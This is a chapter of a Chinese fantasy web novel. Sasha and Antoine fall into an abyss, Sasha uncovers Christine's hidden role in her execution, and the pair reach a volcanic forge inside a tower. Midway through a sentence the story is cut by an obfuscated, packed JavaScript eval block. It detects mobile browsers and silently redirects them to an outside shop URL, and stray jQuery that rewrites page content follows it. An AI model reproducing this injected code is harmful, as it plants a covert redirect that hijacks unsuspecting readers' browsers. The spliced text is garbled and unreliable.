59. 同坠
作品:《为异端加冕[西幻]》 坠崖的速度很快。萨沙却感觉时间被无比放慢了,人世间的二十多载,一幕幕在眼前闪回。
比如自己好奇地给母亲的弓竖琴调音,结果调得鬼哭狼嚎还差点把弦弄断,被她抓着剑鞘追着打。
比如父亲烹饪的一只好鸡,烤得滋滋流油还混着蜂蜜味,不用喝饮料光是吞口水就能解渴。
又或是十四岁生日那天买了蜂蜜酒偷偷带进学校,与安托万,还有艾洛蒂、夏绿蒂、杰克、托马斯那帮朋友一起喝,结果被克里斯汀抓个现行。
她发现自从母父不辞而别后,还有一人总是出现在人生回忆中,而那个人是安托万。
此生太短,有半生都和那家伙待在一起,怎么甩也甩不掉。
她仿佛回到了火刑架上,看着一身白袍、高洁出尘的安托万托起神圣之光,点燃将她的肉.身烧灼的烈火。
为什么点火者偏偏是他?
萨沙闭上了眼,坠入深海。回忆却还像个鱼钩一般,牵拉撕扯着她的肚肠。
亡灵阵前,她虚弱得快要死了。她本以为自己和三十三个倒霉修道士都会死掉,却独留她一人存活,作为罪大恶极者被审判。
啊,为什么没有死呢?一只手托住了她,把她抱在怀里。
温暖的光明魔法,一阵一阵地灌进她的血脉里。她却还是抖得像条触电的鱼,挣扎着睁眼却只能睁开一条缝,模模糊糊看见一个身影,大抵是个男的,又闭上了眼。
真是个傻子,平白浪费魔力,她想。法师体内的魔网是融不了光明魔法的。
“萨沙,你好冰冷啊。”耳边的声音温柔但克制,“有暖一点了吗?”
她推开那只将她圈入怀中的手,那只手就要碰到万辉石了。她的心跳得很快。好难受。
“滚!滚啊!”她咆哮道,实际发出的声音却气若游丝。
“别怕,我在这里。”声音像蚊子在耳边乱飞,“回家吧,我们这就回家去。别怕……”
她在回忆中再次触到那只手,骨节分明,比她的手大一些,掌心有薄茧,大抵是练习剑术留下的。
指尖也长着茧,比掌心的茧厚了不少,摸上去有些坚硬粗糙。
像是高强度弹奏鲁特琴,按品留下的。
那个人不是安托万。萨沙惊觉。
克里斯汀·布朗!
曾经级长把她押送自习室写检讨,她瞥见他在草稿纸上默写光球术和死灵之声的咒文。她试图凑近,那人却把纸揉成一团攥在手中。
会弹鲁特琴,作为法师同时掌握一点光明魔法。她认识的人里面,只剩下这一个可能。
只是为什么他要来助她?为什么她颤抖得发狂还咬了他的手臂一口,差点把一块肉咬下来,他还要坚持给她输送法力?
温暖的法力像一条突然改道的河,与正在流转的黑魔法冲撞。心脏简直要从胸腔里跳出来。
“这是想让我死吗!”萨沙猛然睁开眼。
原来让她体内法力冲撞,使法阵失控的原因竟然如此。
串起来了,全都串起来了。
行在明处的人要她死,行在暗处的人却要她活。
“克里斯汀!”萨沙愤怒地大喊。
她竟然正在下坠,正在死去,眼看十一年前的谜终于解开,自己却要将它带进深渊!
可是为什么!置她于死地,他有什么理由吗?
上方,大抵是一块落石,正在下坠,砸向萨沙的方向。
不,是一个人。触手圈住了她,随即那人把搂进怀里。
好紧。萨沙有些喘不过气来。
“抱住你的人是我,你却喊别人的名字。”说话者的眼中映着极光。
“不是你,是……克里斯汀。”萨沙埋进他的怀里。泪水无法控制地涌出,沾湿了他的前襟。
“不,不要回家……不要坠入……”萨沙埋在黑暗中哽咽。
安托万感觉吸上来的一口气就要堵死在自己的鼻腔里。但他还是压制着自己因狂怒而颤抖的身体,拼尽全力控制着降落的方向。
“我们不回家。”他轻轻拍着怀中人的背,“即便是深渊,我也陪你同坠。”
就此殒命又如何?
再也爬不上去了又如何?
反正他已经永远地远离光明了。
他为了追上她的天资,早已任由导师为自己种下黯影。
他为了她的真正重生,剖出了自己的灵之心。
即便她不知道,他也在所不辞。
随身携带的十二卷羽落术卷轴用完了,可是降落的速度只减缓了一点。
“我好冷……”萨沙颤抖得厉害。
“没事,没事……我一直陪着你……”
安托万让萨沙在自己上面,不愿松开一点。脊柱中生长出数十条触手,铺展成一张垫在身子下的网。
就像预料之中那样,他重重地砸在地上。触手的黏膜与粗糙的地面摩擦,变得血肉模糊,黑红的血液漫了一地,碎肉碾进沙子里。
安托万把痛苦的呻.吟咬碎了吞下,他深吸一口气,胡乱地擦掉她脸上的泪水。
他捏住怀中人的下巴:“看着我,你眼前这个人,到底是谁?”
“……安托万。”萨沙吸了吸鼻子,“谢谢你。”
谢谢你偷偷留下我的尸骨,又无比卑劣地把我真正带回人间。
谢谢你陪我共赴这场出逃。
萨沙挣扎着爬起来,不抱希望地念出一句治愈术的咒语,却发现光芒从掌中熠熠而出,如同月尘,轻柔地洒在安托万的身上。
她抬起地上那个比她还要冰凉的身体,抱在怀中,以汩汩光流温暖他。
“之前闯入亡灵阵的那个人不是你,是克里斯汀。”一个冷峻的声音飘进安托万的耳中。
他咬着牙,好像承认这件事非常困难一样。片刻后,他垂下头:“是……对不起,我没有勇气奔向你。”
萨沙冷峻道:“你知道通常来说,给专注中的黑巫师灌入大量光明魔法会使人狂暴吗?”
安托万猛然抬起头,睁大了眼望着萨沙:“你是说,他不是试图救你,而是在加速法阵失控?”
“我猜想是这样。”萨沙想起安托万提及克里斯汀是法师阵营的主将之一,“很可能布朗家族从来不是热心慈善为民除害那么简单。”
法力快耗尽了。萨沙拿出装着金璃草的布袋,把药水含在嘴中暖热了,缓缓渡进安托万的口中。要知道温热可以使药效发挥最佳效果,而药水本就不多,更应该效益最大化。
好像这还不够,她干脆把金璃草嚼碎了,将汁液一同渡进他的嘴里。
萨沙自认为是个对朋友重情重义的人,既然安托万拼尽全力去救她,她也要不遗余力。
安托万不说话,只是眨着眼睛,呆呆地看着她,舔去流到唇上的药水,像一只小猫咪。
真可爱,她想。这句
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231783|183009||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
话差点就溜出口了。
“等等,”萨沙发现自己掌中的光芒和金璃草竟然可以修复安托万背部的触手,“为什么光明魔法与黯影却不会相冲?”
难道是因为这样的魔法来自一位黑巫师吗?还是说黯影的宿主本是光明牧师?她思索着各种原因。
安托万笑了笑,伸手捏住萨沙因思考而凸起的双唇,“我好多了,起来吧。”
明明浸在着阴冷的夜雾里,萨沙望见那张看过千百次的脸,却只觉得柔若春水、灿若暖阳。
她扶着安托万站起来,头有点晕。待适应眩晕和黑暗之后,她发现自己站在火山口前。
脚下是红色的泥沙,其上覆着一层黑色的火山灰。
而眼前,硕大的黑色山体向中心凹陷,亮红色的岩浆正在涌动。
火山口下方传来吟唱声。好像山内壁中嵌着千万张嘴,用不知是什么语言齐声歌唱。
唱得还挺专业,低中高三个声部,错落有致,至少比之前的触手怪好听多了。
萨沙仔细分辨那种语言。一点也不像玛济语,因此可以排除是古罗曼语。
亦或是红龙语?她见过在迪亚芒岛的火山口,里面经常有泡温泉的红龙。但悠扬的歌声实在不符合那种粗鄙得动不动骂个爹的发音。
萨沙环顾四周,高不见顶的山崖矗立,像连接天与地的远古巨人,额头顶在一起,手牵手组成一个巨塔。
蛛网之塔?此处是塔的内部?
那么眼前的火山,就是芙莉埃利卡的熔炉?
有趣。事情变得有趣起来了。
法师们有句俗话说,幸运厄运不知道,厄运来了躲不掉。
既然她总归要与黯影位面的邪神正面交锋,那么此刻不战,又待何时?
手好痒。萨沙低下头,看见手背上竟然爬着一只蜘蛛。这玩意什么时候爬上来的?
此地看上去一片死寂,除了火山口中半死不活的神秘黯影生物,就只有她和安托万两个大活人。她眯着眼仔细张望地上的泥沙,和带着硫磺味的空气,也不见什么小爬虫和小飞虫。
她捻着两根手指,打算把小蜘蛛捏死。但小蜘蛛与她好像有心灵感应似的,爬进她的袖子里给她挠痒痒。
她疯狂地甩袖子,又撸起袖子上下揉搓,小蜘蛛总算爬回她的掌中。只是它蹬着腿一幅挑衅的样子。
“滚!”萨沙啪的一鼓掌。
但松手时不见小蜘蛛扁扁的尸体。
只见地上有一个挪动的黑色小点,风风火火地向火山口爬去。
小蜘蛛纵身一跃,跃入岩浆中。
浅金与银白交织的光芒从火山口缓缓升起,比极昼时北境冰原上的阳光还要刺眼。
光芒扩散,直到充盈整个黑暗的空间。在这强大的光芒面前,一切物体的轮廓都被吞噬,一切声响都消逝在真空中。
萨沙的呼吸仿佛凝滞了。她紧紧地闭着眼,眼前还是明晃晃一片浮动的橘红,简直要被闪瞎。
她想起学生时代,费奥多尔潜入她的梦里给她讲催眠故事,让她越发辗转难寐。
“在连绵的雪山底下,是漆黑的山体岩石造就的宽阔厅堂。在厅堂的正中间,是流淌着火红岩浆的熔炉。在熔炉的深处永不止息的活火中……”
银袍者神秘道:“活火中将会震撼整个世界的新力量正在成型。”
一只手在萨沙的眼上拂过,“睁眼吧,来访的游人。”

